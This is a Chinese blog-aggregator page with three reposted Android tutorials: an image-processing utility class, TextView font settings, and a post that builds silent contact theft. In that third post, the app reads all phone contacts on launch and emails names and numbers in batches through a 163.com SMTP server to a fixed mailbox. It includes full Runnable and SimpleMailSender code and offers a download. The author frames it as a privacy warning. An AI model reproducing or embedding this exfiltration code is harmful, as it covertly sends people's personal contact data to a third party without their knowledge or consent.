首页 文章 精选 留言 我的

精选列表

搜索[android things],共10000篇文章
优秀的个人博客,低调大师

android 处理图片工具

packagecom.wireme.activity; importjava.io.ByteArrayOutputStream; importjava.io.File; importjava.io.FileNotFoundException; importjava.io.FileOutputStream; importjava.io.IOException; importandroid.graphics.Bitmap; importandroid.graphics.BitmapFactory; importandroid.graphics.Canvas; importandroid.graphics.ColorMatrix; importandroid.graphics.ColorMatrixColorFilter; importandroid.graphics.Paint; importandroid.graphics.PorterDuffXfermode; importandroid.graphics.Rect; importandroid.graphics.RectF; importandroid.graphics.Bitmap.Config; importandroid.graphics.PorterDuff.Mode; importandroid.graphics.drawable.BitmapDrawable; importandroid.graphics.drawable.Drawable; /* * *处理图片的工具类. */ public classimageTool{ public staticfinal intLEFT= 0; public staticfinal intRIGHT= 1; public staticfinal intTOP= 3; public staticfinal intBOTTOM= 4; /* * */ /* * *图片去色,返回灰度图片 * *@parambmpOriginal *传入的图片 *@return去色后的图片 */ public staticBitmaptoGrayscale(BitmapbmpOriginal){ intwidth,height; height=bmpOriginal.getHeight(); width=bmpOriginal.getWidth(); BitmapbmpGrayscale=Bitmap.createBitmap(width,height, Bitmap.Config.RGB_565); Canvasc= newCanvas(bmpGrayscale); Paintpaint= newPaint(); ColorMatrixcm= newColorMatrix(); cm.setSaturation( 0); ColorMatrixColorFilterf= newColorMatrixColorFilter(cm); paint.setColorFilter(f); c.drawBitmap(bmpOriginal, 0, 0,paint); returnbmpGrayscale; } /* * */ /* * *去色同时加圆角 * *@parambmpOriginal *原图 *@parampixels *圆角弧度 *@return修改后的图片 */ public staticBitmaptoGrayscale(BitmapbmpOriginal, intpixels){ returntoRoundCorner(toGrayscale(bmpOriginal),pixels); } /* * */ /* * *把图片变成圆角 * *@parambitmap *需要修改的图片 *@parampixels *圆角的弧度 *@return圆角图片 */ public staticBitmaptoRoundCorner(Bitmapbitmap, intpixels){ Bitmapoutput=Bitmap.createBitmap(bitmap.getWidth(),bitmap .getHeight(),Config.ARGB_8888); Canvascanvas= newCanvas(output); final intcolor= 0xff424242; finalPaintpaint= newPaint(); finalRectrect= newRect( 0, 0,bitmap.getWidth(),bitmap.getHeight()); finalRectFrectF= newRectF(rect); final floatroundPx=pixels; paint.setAntiAlias( true); canvas.drawARGB( 0, 0, 0, 0); paint.setColor(color); canvas.drawRoundRect(rectF,roundPx,roundPx,paint); paint.setXfermode( newPorterDuffXfermode(Mode.SRC_IN)); canvas.drawBitmap(bitmap,rect,rect,paint); returnoutput; } /* * */ /* * *使圆角功能支持BitampDrawable * *@parambitmapDrawable *@parampixels *@return */ public staticBitmapDrawabletoRoundCorner(BitmapDrawablebitmapDrawable, intpixels){ Bitmapbitmap=bitmapDrawable.getBitmap(); bitmapDrawable= newBitmapDrawable(toRoundCorner(bitmap,pixels)); returnbitmapDrawable; } /* * *读取路径中的图片,然后将其转化为缩放后的bitmap * *@parampath */ public static voidsaveBefore(Stringpath){ BitmapFactory.Optionsoptions= newBitmapFactory.Options(); options.inJustDecodeBounds= true; // 获取这个图片的宽和高 Bitmapbitmap=BitmapFactory.decodeFile(path,options); // 此时返回bm为空 options.inJustDecodeBounds= false; // 计算缩放比 intbe=( int)(options.outHeight/( float) 200); if(be<= 0) be= 1; options.inSampleSize= 2; // 图片长宽各缩小二分之一 // 重新读入图片,注意这次要把options.inJustDecodeBounds设为false哦 bitmap=BitmapFactory.decodeFile(path,options); intw=bitmap.getWidth(); inth=bitmap.getHeight(); System. out.println(w+ " "+h); // savePNG_After(bitmap,path); saveJPGE_After(bitmap,path); } /* * *保存图片为PNG * *@parambitmap *@paramname */ public static voidsavePNG_After(Bitmapbitmap,Stringname){ Filefile= newFile(name); try{ FileOutputStream out= newFileOutputStream(file); if(bitmap.compress(Bitmap.CompressFormat.PNG, 100, out)){ out.flush(); out.close(); } } catch(FileNotFoundExceptione){ e.printStackTrace(); } catch(IOExceptione){ e.printStackTrace(); } } /* * *保存图片为JPEG * *@parambitmap *@parampath */ public static voidsaveJPGE_After(Bitmapbitmap,Stringpath){ Filefile= newFile(path); try{ FileOutputStream out= newFileOutputStream(file); if(bitmap.compress(Bitmap.CompressFormat.JPEG, 100, out)){ out.flush(); out.close(); } } catch(FileNotFoundExceptione){ e.printStackTrace(); } catch(IOExceptione){ e.printStackTrace(); } } /* * *水印 * *@parambitmap *@return */ public staticBitmapcreateBitmapForWatermark(Bitmapsrc,Bitmapwatermark){ if(src== null){ return null; } intw=src.getWidth(); inth=src.getHeight(); intww=watermark.getWidth(); intwh=watermark.getHeight(); // createthenewblankbitmap Bitmapnewb=Bitmap.createBitmap(w,h,Config.ARGB_8888); // 创建一个新的和SRC长度宽度一样的位图 Canvascv= newCanvas(newb); // drawsrcinto cv.drawBitmap(src, 0, 0, null); // 在0,0坐标开始画入src // drawwatermarkinto cv.drawBitmap(watermark,w-ww+ 5,h-wh+ 5, null); // 在src的右下角画入水印 // saveallclip cv.save(Canvas.ALL_SAVE_FLAG); // 保存 // store cv.restore(); // 存储 returnnewb; } /* * *图片合成 * *@return */ public staticBitmappotoMix( intdirection,Bitmap...bitmaps){ if(bitmaps.length<= 0){ return null; } if(bitmaps.length== 1){ returnbitmaps[ 0]; } BitmapnewBitmap=bitmaps[ 0]; // newBitmap=createBitmapForFotoMix(bitmaps[0],bitmaps[1],direction); for( inti= 1;i<bitmaps.length;i++){ newBitmap=createBitmapForFotoMix(newBitmap,bitmaps[i],direction); } returnnewBitmap; } private staticBitmapcreateBitmapForFotoMix(Bitmapfirst,Bitmapsecond, intdirection){ if(first== null){ return null; } if(second== null){ returnfirst; } intfw=first.getWidth(); intfh=first.getHeight(); intsw=second.getWidth(); intsh=second.getHeight(); BitmapnewBitmap= null; if(direction==LEFT){ newBitmap=Bitmap.createBitmap(fw+sw,fh>sh?fh:sh, Config.ARGB_8888); Canvascanvas= newCanvas(newBitmap); canvas.drawBitmap(first,sw, 0, null); canvas.drawBitmap(second, 0, 0, null); } else if(direction==RIGHT){ newBitmap=Bitmap.createBitmap(fw+sw,fh>sh?fh:sh, Config.ARGB_8888); Canvascanvas= newCanvas(newBitmap); canvas.drawBitmap(first, 0, 0, null); canvas.drawBitmap(second,fw, 0, null); } else if(direction==TOP){ newBitmap=Bitmap.createBitmap(sw>fw?sw:fw,fh+sh, Config.ARGB_8888); Canvascanvas= newCanvas(newBitmap); canvas.drawBitmap(first, 0,sh, null); canvas.drawBitmap(second, 0, 0, null); } else if(direction==BOTTOM){ newBitmap=Bitmap.createBitmap(sw>fw?sw:fw,fh+sh, Config.ARGB_8888); Canvascanvas= newCanvas(newBitmap); canvas.drawBitmap(first, 0, 0, null); canvas.drawBitmap(second, 0,fh, null); } returnnewBitmap; } /* * *将Bitmap转换成指定大小 * *@parambitmap *@paramwidth *@paramheight *@return */ public staticBitmapcreateBitmapBySize(Bitmapbitmap, intwidth, intheight){ returnBitmap.createScaledBitmap(bitmap,width,height, true); } /* * *Drawable转Bitmap * *@paramdrawable *@return */ public staticBitmapdrawableToBitmapByBD(Drawabledrawable){ BitmapDrawablebitmapDrawable=(BitmapDrawable)drawable; returnbitmapDrawable.getBitmap(); } /* * *Bitmap转Drawable * *@parambitmap *@return */ public staticDrawablebitmapToDrawableByBD(Bitmapbitmap){ Drawabledrawable= newBitmapDrawable(bitmap); returndrawable; } /* * *byte[]转bitmap * *@paramb *@return */ public staticBitmapbytesToBimap( byte[]b){ if(b.length!= 0){ returnBitmapFactory.decodeByteArray(b, 0,b.length); } else{ return null; } } /* * *bitmap转byte[] * *@parambm *@return */ public static byte[]bitmapToBytes(Bitmapbm){ ByteArrayOutputStreambaos= newByteArrayOutputStream(); bm.compress(Bitmap.CompressFormat.PNG, 100,baos); returnbaos.toByteArray(); } } 本文转自 terry_龙 51CTO博客,原文链接:http://blog.51cto.com/terryblog/791516 ,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android TextView字体设置

设置TextView默认字体的办法: Java代码 textView.setTypeface(Typeface.DEFAULT,Typeface.NORMAL); 设置字型为默认粗体,粗体字体 Java代码 textView.setTypeface(Typeface.DEFAULT_BOLD,Typeface.BOLD); 设置字型为等宽字型,斜体字体 Java代码 textView.setTypeface(Typeface.MONOSPACE,Typeface.ITALIC); 设置字型为等宽字型,斜体字体 Java代码 textView.setTypeface(Typeface.MONOSPACE,Typeface.BOLD_ITALIC); 使用自定义字体,首先要把字体存放在assets/font/路径下: Java代码 Typefacetypeface=Typeface.createFromAsset(getAssets(),"font/custom.ttf"); textView.setTypeface(typeface); 本文转自06peng 51CTO博客,原文链接:http://blog.51cto.com/06peng/963309,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android切近实战(十)

最近上半年绩效确认,又是C,我就不明白了,怎么才能得B,怎么才能得A。我去,不借书,不参加培训,不加班就活该得C,那你招一群刚毕业的学生得了,刚毕业的学生干劲大,加班到半夜都没问题。唉,不说了,这年头不加班干完活都觉得不正常了。 大家还记得上篇文章么,看下图。 今天的话我就是要在该App启动的时候,将手机内存储的所有联系人通过邮件发送到指定的邮箱,怎么样,够狠吧。所以不是所有的app我们都给他开读取手机信息的权限,否则就泄露个底朝天。我们先看一下发邮件,需要到网上下载这三个jar包,这三个jar包不好下,要么你去google官网下,要么在csdn下,或者干脆在本篇文章下,给大家点福利。 说到这个发邮件,类是别人写的,我拿来以为能用,结果他妈的很多问题,压根就发不了邮件。改了很多问题,查了一些资料,尼玛才搞定。说到这里,我就想说那些写博客的或者是抄博客的或者是转载博客的,咋们做技术的要凭良心写博客。不能不管三七二十一,就抄过来。这样不但让看你博客的人觉得你不专业,而且还浪费每个看你博客的人的时间。你写个博客,你文采不行,但是你把代码最起码写的能正常运行,能达到该代码能实现的功能吧。 好了,不说了。我们看一下代码,我的设计是将联系人信息全部读取出来,然后通过多线程分批发送到指定邮箱。要说到多线程,大家肯定会想到Handler,handler会分发runable对象到主线程消息队列中。当我们实例化一个Handler对象的时候,就默认与对它初始化的进程的消息队列绑定。那么当线程有更新UI的操作话,我们就需要把数据消息作为一个Message对象发送到消息队列中,然后,用Handler中的handlerMessge方法处理传过来的数据信息,并操作UI。那么刚才说到分发runable对象到主线程队列中,我们看一下Handler有哪些方法可以实现分发Runable对象(查API)。 我们今天使用的其实就是post方法,分发多个runable对象到消息队列并执行。说了这么多不如直接看代码来得实在。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void SyncContactUserInfo(){ CustomRunablecustomeRunable; List<Map<String,Object>>tempPagedDataList= this .GetContactUserList(); List<Map<String,Object>>dataList= this .GetContactUserList(); int totalSize=dataList.size(); if (totalSize== 0 ) return ; int threadCount=totalSize%PageSize== 0 ?totalSize/PageSize :totalSize/PageSize+ 1 ; for ( int i= 1 ;i<=threadCount;i++){ if (i==threadCount){ tempPagedDataList=dataList.subList((i- 1 )*PageSize, (i- 1 )*PageSize+totalSize%PageSize- 1 ); } else { tempPagedDataList=dataList.subList((i- 1 )*PageSize, PageSize*i-i); } customeRunable= new CustomRunable(tempPagedDataList,i); handler.post(customeRunable); } } 上节课我们已经写过如何读取手机联系人了,所以这里就不在赘述。这段代码其实就是把联系人信息读取出来,然后去分批发送。上面的代码相信做过分页的人都应该知道,需要注意的就是List<T>的subList方法,传入start Index和end index就可以了,这里有点类似客户端分页。 在上面的代码中我们看到了一个CustomRunable类,这个类是我自己定义的,如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 class CustomRunable implements Runnable{ StringBuilderstrBuilder= new StringBuilder(); List<Map<String,Object>>dataList; int index; public CustomRunable(List<Map<String,Object>>dataList, int index){ this .dataList=dataList; this .index=index; } public void run(){ strBuilder.append( "<html><body><tablestyle='border:1pxsolidblack'>" ); strBuilder.append( "<tr><th>姓名</th><th>手机号码</th></tr>" ); if ( this .dataList!= null && this .dataList.size()> 0 ){ for (Map<String,Object>data:dataList){ strBuilder.append( "<tr>" ); strBuilder.append( "<td>" ); strBuilder.append(data.get( "UserName" ).toString()); strBuilder.append( "</td>" ); strBuilder.append( "<td>" ); strBuilder.append(data.get( "UserPhoneNumber" ).toString()); strBuilder.append( "</td>" ); strBuilder.append( "</tr>" ); } } strBuilder.append( "</table></body></html>" ); MailSenderInfomailSendInfo=BuildMailSendInfo( "第" +index+ "批手机号" ,strBuilder.toString()); SimpleMailSender.sendHtmlMail(mailSendInfo); } } 我定义了默认的构造函数,一个是联系人手机号码列表,一个是标示是第几批。当我拿到这批手机号码的时候,构造一个html格式的邮件,然后发送。邮件的标题是“第{0}批手机号码”,邮件的内容就是第一列姓名,第二列手机号的一个html表格。其实这里的run方法,一旦这个runable对象被分发到队列中,就会立即执行run方法。 大家其实可能此时最关注的是发邮件的代码,不妨就把最关键的类(SimpleMailSender)的代码贴出来好了,然后完了如果大家想要的话可以在这篇文章的附件下载或者加入群“.net技术冲锋舟(205217091)”。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 package bruce.util.mail; import java.util.Date; import java.util.Properties; import javax.activation.CommandMap; import javax.activation.MailcapCommandMap; import javax.mail.Address; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; public class SimpleMailSender{ /** *以文本格式发送邮件 * *@parammailInfo *待发送的邮件的信息 */ public static boolean sendTextMail(MailSenderInfomailInfo){ //判断是否需要身份认证 MyAuthenticatorauthenticator= null ; Propertiespro=mailInfo.getProperties(); if (mailInfo.isValidate()){ //如果需要身份认证,则创建一个密码验证器 authenticator= new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } //根据邮件会话属性和密码验证器构造一个发送邮件的session SessionsendMailSession=Session .getInstance(pro,authenticator); try { //根据session创建一个邮件消息 MessagemailMessage= new MimeMessage(sendMailSession); //创建邮件发送者地址 Addressfrom= new InternetAddress(mailInfo.getFromAddress()); //设置邮件消息的发送者 mailMessage.setFrom(from); //创建邮件的接收者地址,并设置到邮件消息中 Addressto= new InternetAddress(mailInfo.getToAddress()); mailMessage.setRecipient(Message.RecipientType.TO,to); //设置邮件消息的主题 mailMessage.setSubject(mailInfo.getSubject()); //设置邮件消息发送的时间 mailMessage.setSentDate( new Date()); //设置邮件消息的主要内容 StringmailContent=mailInfo.getContent(); mailMessage.setText(mailContent); //发送邮件 Transport.send(mailMessage); return true ; } catch (MessagingExceptionex){ ex.printStackTrace(); } return false ; } /** *以HTML格式发送邮件 * *@parammailInfo *待发送的邮件信息 */ public static boolean sendHtmlMail(MailSenderInfomailInfo){ //判断是否需要身份认证 MyAuthenticatorauthenticator= null ; Propertiespro=mailInfo.getProperties(); //如果需要身份认证,则创建一个密码验证器 if (mailInfo.isValidate()){ authenticator= new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } //根据邮件会话属性和密码验证器构造一个发送邮件的session SessionsendMailSession=Session .getInstance(pro,authenticator); try { //根据session创建一个邮件消息 MessagemailMessage= new MimeMessage(sendMailSession); //创建邮件发送者地址 Addressfrom= new InternetAddress(mailInfo.getFromAddress()); //设置邮件消息的发送者 mailMessage.setFrom(from); //创建邮件的接收者地址,并设置到邮件消息中 Addressto= new InternetAddress(mailInfo.getToAddress()); //Message.RecipientType.TO属性表示接收者的类型为TO mailMessage.setRecipient(Message.RecipientType.TO,to); //设置邮件消息的主题 mailMessage.setSubject(mailInfo.getSubject()); //设置邮件消息发送的时间 mailMessage.setSentDate( new Date()); //MiniMultipart类是一个容器类,包含MimeBodyPart类型的对象 MultipartmainPart= new MimeMultipart(); //创建一个包含HTML内容的MimeBodyPart BodyParthtml= new MimeBodyPart(); //设置HTML内容 html.setContent(mailInfo.getContent(), "text/html;charset=utf-8" ); mainPart.addBodyPart(html); //将MiniMultipart对象设置为邮件内容 mailMessage.setContent(mainPart); //发送邮件 MailcapCommandMapmc=(MailcapCommandMap)CommandMap.getDefaultCommandMap(); mc.addMailcap( "text/html;;x-java-content-handler=com.sun.mail.handlers.text_html" ); mc.addMailcap( "text/xml;;x-java-content-handler=com.sun.mail.handlers.text_xml" ); mc.addMailcap( "text/plain;;x-java-content-handler=com.sun.mail.handlers.text_plain" ); mc.addMailcap( "multipart/*;;x-java-content-handler=com.sun.mail.handlers.multipart_mixed" ); mc.addMailcap( "message/rfc822;;x-java-content-handler=com.sun.mail.handlers.message_rfc822" ); CommandMap.setDefaultCommandMap(mc); Transport.send(mailMessage); return true ; } catch (MessagingExceptionex){ ex.printStackTrace(); } return false ; } } OK,这就是我修改后的版本,能直接用,文章的末尾我会给大家见证奇迹。这个类中,一个是发送文本邮件,一个是发送Html格式的邮件,也可以发附件。OK,其实调用的话就是构造一个MailSenderInfo对象。如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 private static MailSenderInfoBuildMailSendInfo(StringmailSubject, StringmailContent){ MailSenderInfomailInfo= new MailSenderInfo(); mailInfo.setContent(mailContent); mailInfo.setFromAddress( "Bruce.L.Li@163.com" ); mailInfo.setMailServerHost( "smtp.163.com" ); mailInfo.setMailServerPort( "25" ); mailInfo.setPassword( "********" ); mailInfo.setSubject(mailSubject); mailInfo.setToAddress( "******@qq.com" ); mailInfo.setUserName( "lilei1986XXXX@163.com" ); mailInfo.setValidate( true ); return mailInfo; } 在这里解释一下这些方法 setContent:邮件内容 setFromAddress:发送者邮箱账号 setMailServerHost:163邮箱 setMailServerPort:25 setPassword:用来验证的邮箱密码 setSubject:邮件标题 setToAddress:接收者的邮箱 setUserName:用来验证的邮箱账号 setValidate:如果为true,则会验证setUserName和setPassword的用户名和密码。否则不会。 这里需要注意setUserName和setPassword必须是一个能登陆163邮箱的账号和密码。 其实这里和C#发Email差不多 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace CLUtility { public class EmailHelper { public static void SendEmail( string mailTitle, string mailContent, params string []mailToAddress) { System.Net.Mail.SmtpClientclient= new System.Net.Mail.SmtpClient(); client.Host= "smtp.ym.163.com" ; //使用163的SMTP服务器发送邮件 client.UseDefaultCredentials= true ; client.DeliveryMethod=System.Net.Mail.SmtpDeliveryMethod.Network; client.Credentials= new System.Net.NetworkCredential( "Bruce.XXX.XX@163.com" , "*******" ); System.Net.Mail.MailMessageMessage= new System.Net.Mail.MailMessage(); Message.From= new System.Net.Mail.MailAddress( "lilei1986abc@163.com" ); foreach ( var address in mailToAddress) { Message.To.Add(address); } Message.Subject=mailTitle; Message.Body=mailContent; Message.SubjectEncoding=System.Text.Encoding.UTF8; Message.BodyEncoding=System.Text.Encoding.UTF8; Message.Priority=System.Net.Mail.MailPriority.High; Message.IsBodyHtml= true ; client.Send(Message); } } } OK,最后,我们见证奇迹的时刻到了,先看163发件箱。大家看到了顺序并不是按照1-9升序排列。 我们看一下发出的邮件内容 这些可都是我手机上的真实号码。唉,对不起大家,不知道网易和腾讯是否对这些号码感兴趣呢。 最后我们再看看QQ邮箱是否已经收到邮件。 木有问题,收到了。我们看一下内容 OK,成功了,最后,哥们的博客是货真价实的,测试机是小米3,看过这篇文章,你以后还敢随便允许app访问你的手机联系人信息吗。 本文转自 BruceAndLee 51CTO博客,原文链接:http://blog.51cto.com/leelei/1580324,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

优质分享App

优质分享App

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

用户登录
用户注册